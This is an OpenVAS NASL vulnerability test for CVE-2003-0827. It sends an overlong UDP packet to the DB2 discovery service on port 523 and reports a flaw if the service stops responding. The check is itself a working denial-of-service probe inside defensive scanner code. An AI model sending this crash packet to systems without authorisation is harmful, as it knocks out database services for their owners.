DB2 discovery service DOS

# OpenVAS Vulnerability Test
# $Id: db2_discovery_DoS.nasl 8023 2017-12-07 08:36:26Z teissa $
# Description: DB2 discovery service DOS
#
# Authors:
# Michel Arboi <[email protected]>
#
# Copyright:
# Copyright (C) 2003 Michel Arboi
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2,
# as published by the Free Software Foundation
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
#

tag_summary = "It was possible to crash the DB2 UDP based discovery service
by sending a too long packet.

An attacker  may use this attack to make this service crash 
continuously, preventing you from working properly.";

tag_solution = "upgrade your software - apply FixPack 10a";

# References:
# Date: Thu, 18 Sep 2003 20:17:36 -0400
# From: "Aaron C. Newman" <[email protected]>
# Subject: AppSecInc Security Alert: Denial of Service Vulnerability in DB2 Discovery Service
# To: [email protected]

if(description)
{
 script_id(11896);
 script_version("$Revision: 8023 $");
 script_tag(name:"last_modification", value:"$Date: 2017-12-07 09:36:26 +0100 (Thu, 07 Dec 2017) $");
 script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
 script_tag(name:"cvss_base", value:"5.0");
 script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
 script_tag(name:"qod_type", value:"remote_banner_unreliable");
 script_cve_id("CVE-2003-0827");
 name = "DB2 discovery service DOS";
 script_name(name);
 

 
 script_category(ACT_DENIAL);
 
 script_copyright("This script is Copyright (C) 2003 Michel Arboi");
 family = "Denial of Service";

 script_family(family);
 script_require_udp_ports(523);
 script_tag(name : "solution" , value : tag_solution);
 script_tag(name : "summary" , value : tag_summary);
 exit(0);
}

#

include('global_settings.inc');
include("network_func.inc");

port = 523;
if (! get_udp_port_state(port)) exit(0);

# There is probably a clean way to do it and change this script to 
# an ACT_GATHER_INFO or ACT_MIXED...

if (! test_udp_port(port: port)) exit(0);

s = open_sock_udp(port);
if (! s) exit(0);
send(socket: s, data: crap(30));
close(s);

if (! test_udp_port(port: port)) security_message(port:port, proto:"udp");